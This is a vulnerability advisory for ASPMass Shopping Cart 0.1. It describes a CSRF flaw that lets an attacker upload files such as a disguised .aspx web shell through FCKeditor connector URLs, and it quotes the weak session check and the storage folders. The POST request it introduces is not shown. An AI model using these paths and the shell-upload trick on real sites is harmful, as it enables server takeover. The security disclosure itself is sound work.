Title : ASPMass Shopping Cart Vulnerability File Upload CSRF
Affected Version : ASPMass Shopping Cart 0.1
Discovery : www.abysssec.com
Vendor : http://www.aspmass.com/
Demo : http://www.aspmass.com/demo.htm
Admin Page : http://Example.com/Admin/Login.aspx
Description :
===========================================================================================
This version of ASP Shopping Cart has CSRF vulnerability for upload a file with fckEditor.
But we have two limitation :
1- We need Admin's Cookie
2- Specific file extension implementing by FckEditor v2 and bypassing this barrier is on you.
For example the file with this extension shell.aspx;me.xml
will be upload with this extension : shell_aspx;me.xml
you can upload your file with this paths: (of course with CSRF)
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=File
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=/
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?time=1280125833981&Type=File&CurrentFolder=/
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/test.html
http://Example.com/Images/js/fckeditor/editor/filemanager/connectors/uploadtest.html
Uploaded files will be placing in this path:
.../Files/site/file/
.../Files/site/flash/
.../Files/site/image/
.../Files/site/media/
vulnerable Code:
The misconfiguration is in ...\Images\js\fcKeditor\editor\filemanager\connectors\aspx\config.ascx
ln 40:
private bool CheckAuthentication()
{
if (Session["AdminLogedIn"] == "Yes")
{
return true;
}
else
{
return false;
}
}
For example you can feed this POST Request to Admin :
----------------------------------------------------------------------------------------
